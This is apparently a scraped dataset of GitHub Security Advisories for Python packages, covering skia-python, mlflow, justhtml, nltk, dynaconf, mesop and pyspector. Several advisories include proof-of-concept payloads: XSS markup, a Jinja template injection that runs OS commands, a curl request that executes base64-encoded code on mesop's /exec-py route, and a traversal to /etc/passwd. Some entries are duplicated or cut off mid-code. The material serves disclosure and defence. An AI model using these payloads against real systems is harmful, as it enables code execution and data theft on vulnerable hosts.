deardaniel/secdata-raw huggingface dataset:
GitHub Security Advisory: GHSA-2mhw-8qcg-gr96
Package: skia-python (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-787: Out-of-bounds Write, CWE-1395: Dependency on Vulnerable Third-Party Component
Vulnerable versions: <= 138.0
Patched in: 144.0.post1

Summary: skia-python vendors vulnerable libfreetype because of pinned cibuildwheel version

Details:
### Impact

The Linux wheels for skia-python vendor a vulnerable version of
libfreetype that is affected by CVE-2025-27363 [1].

The root cause is a chain of unfortunate events:

1. skia-python builds wheels using pinned pypa/cibuildwheel@2.21.3 [2]

2. cibuildwheel 2.21.3 in turn pins manylinux container images [3]

3. In these images, version 2.9.1-9.el8 of RedHat package freetype is
*preinstalled*. This package version is vulnerable and has since been
patched in 2.9.1-10.

4. During the skia-python Linux build, libfreetype is vendored from the
system, resulting in skia-python.libs/libfreetype-29a7443c.so.6.16.1

[ To find the provenance of your vendored libfreetype, we extracted the
8-character hash of the original binary file that is added during the
build process (29a7443c), and matched it against our database of hashes
all historic Red Hat, Debian and Ubuntu releases of freetype. ]

5. Because freetype is only a *transitive* dependency of the packages
explicitly installed by the build script [4], it is not upgraded to the
patched version [4].

5. As a result, the published wheels embed a vulnerable libfreetype,
even though patched packages are available upstream.

This appears to be a broader manylinux ecosystem issue. The base images
do not enforce that `yum update` runs on container start, so
preinstalled libraries may remain vulnerable indefinitely.


### Patches

> In the case of skia-python, the solution is to explicitly install freetype in the build process and rebuild the wheels.

The original report was suggesting the above, but in the current `build_Linux.sh` script, the patched `freetype-devel` version 2.9.1-10 gets installed as a dependency. It's just that we need to rebuild the wheel for a new release.

### Workarounds

Users must upgrade the wheel package after release.

### References

1. https://nvd.nist.gov/vuln/detail/CVE-2025-27363
2. https://github.com/kyamagu/skia-python/blob/9ffb045811f9b5508e152302d5b81aadca6edd8d/.github/workflows/ci.yml#L38
3. https://github.com/pypa/cibuildwheel/blob/v2.21.3/cibuildwheel/resources/pinned_docker_images.cfg
4. https://github.com/kyamagu/skia-python/blob/9ffb045811f9b5508e152302d5b81aadca6edd8d/scripts/build_Linux.sh#L6
GitHub Security Advisory: GHSA-2mhw-8qcg-gr96
Package: skia-python (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-787: Out-of-bounds Write, CWE-1395: Dependency on Vulnerable Third-Party Component
Vulnerable versions: = 144.0
Patched in: unpatched

Summary: skia-python vendors vulnerable libfreetype because of pinned cibuildwheel version

Details:
### Impact

The Linux wheels for skia-python vendor a vulnerable version of
libfreetype that is affected by CVE-2025-27363 [1].

The root cause is a chain of unfortunate events:

1. skia-python builds wheels using pinned pypa/cibuildwheel@2.21.3 [2]

2. cibuildwheel 2.21.3 in turn pins manylinux container images [3]

3. In these images, version 2.9.1-9.el8 of RedHat package freetype is
*preinstalled*. This package version is vulnerable and has since been
patched in 2.9.1-10.

4. During the skia-python Linux build, libfreetype is vendored from the
system, resulting in skia-python.libs/libfreetype-29a7443c.so.6.16.1

[ To find the provenance of your vendored libfreetype, we extracted the
8-character hash of the original binary file that is added during the
build process (29a7443c), and matched it against our database of hashes
all historic Red Hat, Debian and Ubuntu releases of freetype. ]

5. Because freetype is only a *transitive* dependency of the packages
explicitly installed by the build script [4], it is not upgraded to the
patched version [4].

5. As a result, the published wheels embed a vulnerable libfreetype,
even though patched packages are available upstream.

This appears to be a broader manylinux ecosystem issue. The base images
do not enforce that `yum update` runs on container start, so
preinstalled libraries may remain vulnerable indefinitely.


### Patches

> In the case of skia-python, the solution is to explicitly install freetype in the build process and rebuild the wheels.

The original report was suggesting the above, but in the current `build_Linux.sh` script, the patched `freetype-devel` version 2.9.1-10 gets installed as a dependency. It's just that we need to rebuild the wheel for a new release.

### Workarounds

Users must upgrade the wheel package after release.

### References

1. https://nvd.nist.gov/vuln/detail/CVE-2025-27363
2. https://github.com/kyamagu/skia-python/blob/9ffb045811f9b5508e152302d5b81aadca6edd8d/.github/workflows/ci.yml#L38
3. https://github.com/pypa/cibuildwheel/blob/v2.21.3/cibuildwheel/resources/pinned_docker_images.cfg
4. https://github.com/kyamagu/skia-python/blob/9ffb045811f9b5508e152302d5b81aadca6edd8d/scripts/build_Linux.sh#L6
GitHub Security Advisory: GHSA-fhff-qmm8-h2fp
Package: mlflow (PIP)
Severity: HIGH (CVSS 8.1)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: < 3.9.0rc0
Patched in: 3.9.0rc0

Summary: Arbitrary file write via tar traversal in mlflow

Details:
A vulnerability in MLflow's pyfunc extraction process allows for arbitrary file writes due to improper handling of tar archive entries. Specifically, the use of `tarfile.extractall` without path validation enables crafted tar.gz files containing `..` or absolute paths to escape the intended extraction directory. This issue affects the latest version of MLflow and poses a high/critical risk in scenarios involving multi-tenant environments or ingestion of untrusted artifacts, as it can lead to arbitrary file overwrites and potential remote code execution.
GitHub Security Advisory: GHSA-3rcm-vjrc-p45j
Package: justhtml (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 1.11.0
Patched in: 1.12.0

Summary: JustHTML has a Sanitizer Bypass (in Markdown)

Details:
## Summary

`to_markdown()` does not sufficiently escape text content that looks like HTML. As a result, untrusted input that is safe in `to_html()` can become raw HTML in Markdown output.

This is not specific to tokenizer raw-text states like `<title>`, `<noscript>`, or `<plaintext>`, although those states can trigger the behavior. The root cause is broader: Markdown text serialization leaves angle brackets unescaped in text nodes.

## Details

When converting a parsed document to Markdown, text nodes are escaped for a small set of Markdown metacharacters, but HTML-significant characters such as `<` and `>` are preserved. That means content parsed as text, including entity-decoded text or text produced by RCDATA/RAWTEXT-style parsing, can be emitted into Markdown as raw HTML.

Examples of affected input include:

- Text produced from entity-decoded input such as `&lt;script&gt;...&lt;/script&gt;`
- Text inside elements like `<title>`, `<textarea>`, `<noscript>` (when parsed as raw text), and `<plaintext>`

This is distinct from actual `<script>` or `<style>` elements in the DOM. Those are already dropped by default in `to_markdown()` unless `html_passthrough=True`.

## Proof of Concept

### General case

```python
from justhtml import JustHTML

doc = JustHTML("<p>&lt;img src=x onerror=alert(1)&gt;</p>", fragment=True)

print(doc.to_html())
print()
print(doc.to_markdown())
GitHub Security Advisory: GHSA-qvc2-mg72-jjhx
Package: justhtml (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 1.11.0
Patched in: 1.12.0

Summary: JustHTML Affected by Mutation XSS via Literal Text Serialization in Raw Text Elements (style/script)

Details:
## Summary

Sanitized DOM trees can be unsafe to serialize when a custom policy allows raw-text elements such as `<style>` or `<script>`.

The issue affects DOM trees that are constructed or modified programmatically and then passed through `sanitize_dom()` with a policy that keeps these elements. Text nodes inside `<style>` and `<script>` are serialized literally, so attacker-controlled text containing the matching closing tag sequence can break out of the raw-text context and inject HTML into the serialized output.

The default sanitization policy is not affected because it drops the contents of `style` and `script`.

## Details

The root cause is in HTML serialization of raw-text elements. In serialize.py, text children of `script` and `style` are emitted verbatim:

```python
_LITERAL_TEXT_SERIALIZATION_ELEMENTS = frozenset({"script", "style"})

def _serialize_text_for_parent(text: str | None, parent_name: str | None) -> str:
    if not text:
        return ""
    if parent_name in _LITERAL_TEXT_SERIALIZATION_ELEMENTS:
        return text
    return _escape_text(text)
GitHub Security Advisory: GHSA-rf74-v2fm-23pw
Package: nltk (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-674: Uncontrolled Recursion
Vulnerable versions: <= 3.9.3
Patched in: unpatched

Summary: Natural Language Toolkit (NLTK) has unbounded recursion in JSONTaggedDecoder.decode_obj() may cause DoS

Details:
### Summary
`JSONTaggedDecoder.decode_obj()` in `nltk/jsontags.py` calls itself 
recursively without any depth limit. A deeply nested JSON structure 
exceeding `sys.getrecursionlimit()` (default: 1000) will raise an 
unhandled `RecursionError`, crashing the Python process.

### Affected code
File: `nltk/jsontags.py`, lines 47–52
```python
@classmethod
def decode_obj(cls, obj):
    if isinstance(obj, dict):
        obj = {key: cls.decode_obj(val) for (key, val) in obj.items()}
    elif isinstance(obj, list):
        obj = list(cls.decode_obj(val) for val in obj)
```

### Proof of Concept
```python
import sys, json
from nltk.jsontags import JSONTaggedDecoder

depth = sys.getrecursionlimit() + 50  # e.g. 1050
payload = '{"x":' * depth + "null" + "}" * depth

# Raises RecursionError, crashing the process
json.loads(payload, cls=JSONTaggedDecoder)
```

### Impact
Any code path that passes externally-supplied JSON to 
`JSONTaggedDecoder` is vulnerable to denial of service.
The severity depends on whether such a path exists in the 
calling code (e.g. `nltk/data.py`).

### Suggested Fix
Add a depth parameter with a hard limit:
```python
@classmethod
def decode_obj(cls, obj, _depth=0):
    if _depth > 100:
        raise ValueError("JSON nesting too deep")
    if isinstance(obj, dict):
        obj = {key: cls.decode_obj(val, _depth + 1) 
               for (key, val) in obj.items()}
    elif isinstance(obj, list):
        obj = list(cls.decode_obj(val, _depth + 1) for val in obj)
```
GitHub Security Advisory: GHSA-pxrr-hq57-q35p
Package: dynaconf (PIP)
Severity: HIGH (CVSS 7.5)
CWE: CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), CWE-94: Improper Control of Generation of Code ('Code Injection'), CWE-1336: Improper Neutralization of Special Elements Used in a Template Engine
Vulnerable versions: <= 3.2.12
Patched in: 3.2.13

Summary: dynaconf Affected by Remote Code Execution (RCE) via Insecure Template Evaluation in @jinja Resolver

Details:
### Summary
Dynaconf is vulnerable to Server-Side Template Injection (SSTI) due to unsafe template evaluation in the @jinja resolver.
When the jinja2 package is installed, Dynaconf evaluates template expressions embedded in configuration values without a sandboxed environment.

If an attacker can influence configuration sources such as:
environment variables
.env files
container environment configuration
CI/CD secrets
they can execute arbitrary OS commands on the host system.
In addition, the @format resolver allows object graph traversal, which may expose sensitive runtime objects and environment variables.

### Details
The vulnerability arises because Dynaconf's string resolvers lack proper security boundaries.

1. @jinja Resolver
The @jinja resolver renders templates using full Jinja2 evaluation.
However, the rendering context is not sandboxed, which allows attackers to access Python's internal attributes.
Using objects such as cycler, attackers can reach Python's __globals__ and import the os module.

Example attack path
cycler
 → __init__
 → __globals__
 → os
 → popen()
This leads to arbitrary command execution.

2. @format Resolver
The @format resolver performs Python string formatting using internal objects.
This allows attackers to traverse Python's object graph and access sensitive runtime objects.
Example traversal:
{this.__class__.__init__.__globals__[os].environ}
This can expose
- API keys
- database credentials
- internal service tokens
- environment secrets

### PoC
```
import os
from dynaconf import Dynaconf
# Malicious configuration injection
os.environ["DYNACONF_RCE"] = "@jinja {{ cycler.__init__.__globals__.os.popen('id').read() }}"
settings = Dynaconf()
print("[!] Command Execution Result:")
print(settings.RCE)
```
### Impact
Successful exploitation allows attackers to:
- Execute arbitrary OS commands on the host system
- Access sensitive environment variables
- Compromise application secrets
- Fully compromise the running application process
Because configuration values may originate from CI/CD pipelines, container orchestration systems, or environment injection, this vulnerability can become remotely exploitable in real-world deployments.


### Remediation / Mitigation (Examples)

1. Use Jinja2 sandbox for template rendering
```
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string("{{ config_value }}")
safe_value = template.render(config_value=user_input)```
```
2. Restrict @format usage to trusted values
```
safe_value = "{name}".format(name=trusted_name)
```
GitHub Security Advisory: GHSA-gjgx-rvqr-6w6v
Package: mesop (PIP)
Severity: CRITICAL (CVSS 9.8)
CWE: CWE-94: Improper Control of Generation of Code ('Code Injection')
Vulnerable versions: <= 1.2.2
Patched in: 1.2.3

Summary: Mesop Affected by Unauthenticated Remote Code Execution via Test Suite Route /exec-py

Details:
#### Summary
An explicit web endpoint inside the `ai/` testing module infrastructure directly ingests untrusted Python code strings unconditionally without authentication measures, yielding standard Unrestricted Remote Code Execution. Any individual capable of routing HTTP logic to this server block will gain explicit host-machine command rights.

#### Details
The AI codebase package includes a lightweight debugging Flask server inside `ai/sandbox/wsgi_app.py`. The `/exec-py` route accepts base_64 encoded raw string payloads inside the `code` parameter natively evaluated by a basic `POST` web request. It saves it rapidly to the operating system logic path and injects it recursively using `execute_module(module_path...)`.

```python
# ai/sandbox/wsgi_app.py
@flask_app.route("/exec-py", methods=["POST"])
def exec_py_route():
  code = base64.urlsafe_b64decode(request.form.get("code"))
  # ... code is blindly written to file and forcefully executed
```

#### PoC
```bash
# Payload:
# import os
# os.system('echo "pwned by attacker" > /tmp/pwned.txt')
# 
# Base64 string represents the identical payload block above: 
# aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ==

curl -X POST http://<target_ip_address_hosting_sandbox>:port/exec-py \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -d "code=aW1wb3J0IG9zCm9zLnN5c3RlbSgnZWNobyAicHduZWQgYnkgYXR0YWNrZXIiID4gL3RtcC9wd25lZC50eHQnKQ=="

# Validate exploitation target execution natively:
# $ cat /tmp/pwned.txt
# pwned by attacker
```

#### Impact
This presents trivial severity for systems publicly exposed or lacking strictly verified boundary firewalls due to absolute unauthenticated command injection privileges targeting the direct execution interpreter running this service sandbox.
GitHub Security Advisory: GHSA-8qvf-mr4w-9x2c
Package: mesop (PIP)
Severity: CRITICAL (CVSS 10.0)
CWE: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Vulnerable versions: <= 1.2.2
Patched in: 1.2.3

Summary: Mesop has a Path Traversal utilizing `FileStateSessionBackend` leads to Application Denial of Service and File Write/Deletion

Details:
#### Summary
A Path Traversal vulnerability allows any user (or attacker) supplying an untrusted `state_token` through the UI stream payload to arbitrarily target files on the disk under the standard file-based runtime backend. This can result in application denial of service (via crash loops when reading non-msgpack target files as configurations), or arbitrary file manipulation.

#### Details
When the framework is configured to use the disk-based session backend (`FileStateSessionBackend`), the user's `state_token` actively dictates where the runtime session state is physically saved or queried natively on disk. 
In `mesop/server/server.py`, specifically the `ui_stream` endpoint, the `event.state_token` is collected directly from the untrusted incoming protobuf message struct: `mesop.protos.ui_pb2.UserEvent`.
Because this is unconditionally passed to `FileStateSessionBackend._make_file_path(self, token)`, it evaluates standard path operators (e.g. `../../../`). 

```python
# mesop/server/state_session.py
  def _make_file_path(self, token: str) -> Path:
    return self.base_dir / (self.prefix + token)
```
Python's standard library natively resolves OS traversal semantics allowing full escape from the `base_dir` destination intent.

#### PoC
An attacker can utilize Python to craft and send a malicious Protobuf payload to the `/ui` stream.

```python
import requests
import mesop.protos.ui_pb2 as pb # Assuming mesop protos are compiled

# 1. Craft the malicious protobuf message
user_event = pb.UserEvent()
# Escaping the tmp directory via path traversal to target a sensitive file, e.g., the root crontab or a system file
user_event.state_token = "../../../../etc/passwd" 

# Alternatively, targeting Windows:
# user_event.state_token = "..\\..\\..\\..\\Windows\\System32\\drivers\\etc\\hosts"

serialized_event = user_event.SerializeToString()

# 2. Send the message to the ui stream endpoint
headers = {'Content-Type': 'application/x-protobuf'}
response = requests.post(
    "http://localhost:32123/ui",
    data=serialized_event,
    headers=headers
)

# The server will attempt to parse /etc/passwd using msgpack, 
# resulting in a crash or reading/overwriting operations depending on the request type invoked.
print(response.content)
```

#### Impact
This vulnerability heavily exposes systems hosted utilizing `FileStateSessionBackend`. Unauthorized malicious actors could interact with arbitrary payloads overwriting or explicitly removing underlying service resources natively outside the application bounds.
GitHub Security Advisory: GHSA-2gmv-2r3v-jxj2
Package: pyspector (PIP)
Severity: MODERATE (CVSS 0.0)
CWE: CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
Vulnerable versions: <= 0.1.6
Patched in: 0.1.7

Summary: Stored XSS in PySpector HTML Report Generation leads to Javascript Code Execution

Details:
### Summary
PySpector versions `<= 0.1.6` are affected by a stored Cross-Site Scripting (XSS) vulnerability in the HTML report generator. When PySpector scans a Python file containing JavaScript payloads (i.e. inside a string passed to `eval()` ), the flagged code snippet is interpolated into the HTML report without sanitization. Opening the generated report in a browser causes the embedded JavaScript to execute in the browser's local file context.

### Impact
An attacker can craft a malicious Python file (for example, hosted in a public repository), designed to be scanned by PySpector. When a victim scans this file and opens the resulting HTML report, arbitrary JavaScript executes in their browser. While the `file://` context limits the attacker's ability to exfiltrate cookies or make credentialed requests, the following is still achievable:
- Arbitrary DOM manipulation
- Redirects to attacker-controlled pages
- Theft of locally accessible data via `fetch()` or `XMLHttpRequest` to `file://` paths (browser-dependent)

Any user of PySpector who scans untrusted code and generates HTML reports, is potentially affected.

### PoC

The following steps reproduce the vulnerability on PySpector `<= 0.1.6`:
1. Create a malicious Python file containing a JavaScript payload embedded in a string argument to `eval()`, and run PySpector against the file, generating an HTML report:
<img width="871" height="752" alt="image" src="https://github.com/user-attachments/assets/1b0a57f2-3632-4347-a9b7-6a94dc2e82b2" />
2. Open the generated HTML report in any browser:
<img width="1920" height="920" alt="image" src="https://github.com/user-attachments/assets/a4075c4a-6153-41b4-ad77-81d009d7a9f8" />
GitHub Security Advisory: GHSA-v3xv-8vc3-h2m6
Package: pyspector (PIP)
Severity: HIGH (CVSS 0.0)
CWE: CWE-184: Incomplete List of Disallowed Inputs
Vulnerable versions: <= 0.1.6
Patched in: 0.1.7

Summary: PySpector has a Plugin Sandbox Bypass leads to Arbitrary Code Execution

Details:
### Summary
PySpector versions `<= 0.1.6` are affected by a security validation bypass in the plugin system. The `validate_plugin_code()` function in `plugin_system.py`, performs static AST analysis to block dangerous API calls before a plugin is trusted and executed. However, the `internal resolve_name()` helper only handles `ast.Name` and `ast.Attribute` node types, returning `None` for all others. When a plugin uses indirect function calls via `getattr()` (such as `getattr(os, 'system')`) the outer call's func node is of type `ast.Call`, causing `resolve_name()` to return `None`, and the security check to be silently skipped. The plugin incorrectly passes the trust workflow, and executes arbitrary system commands on the user's machine when loaded.

### Impact
An attacker who can deliver a malicious plugin file to a PySpector user and convince them to install it, can achieve arbitrary code execution on the user's local machine. Exploitation requires the victim to explicitly run `pyspector plugin install --trust` on the malicious file (a deliberate multi-step action that meaningfully limits the attack surface compared to passive vulnerabilities). However, the bypass directly undermines the security guarantee that `validate_plugin_code()` is designed to provide. Once the plugin is trusted and executed, the following is achievable:
- Full read/write access to the local filesystem
- Exfiltration of sensitive data and environment variables (i.e. API keys, credentials, etc...)
- Establishment of persistence mechanisms
- Lateral movement in CI/CD environments where PySpector runs with elevated permissions (pre-commit hooks and scheduled scans)

Any user of PySpector who installs third-party plugins outside the official repository is potentially affected.

### PoC
The following steps reproduce the vulnerability on PySpector `<= 0.1.6`:
1. Create a malicious plugin file that uses getattr-based indirect calls to bypass AST validation, and confirm the validator incorrectly marks it as safe:
<img width="1300" height="675" alt="image" src="https://github.com/user-attachments/assets/4de3a0d1-1c77-4454-ad10-2369d5ca9997" />
2.  Run PySpector Plugin Validator module (this confirms the validator incorrectly marks the plugin as safe):
<img width="908" height="239" alt="image" src="https://github.com/user-attachments/assets/3e3b9603-4d95-4a39-be97-4163f6639599" />
3. Install and trust the plugin through the normal PySpector workflow:

`pyspector plugin install /tmp/evil_plugin.py --trust`
4. Execute the plugin, during a scan:
`pyspector scan /any/target --plugin evil`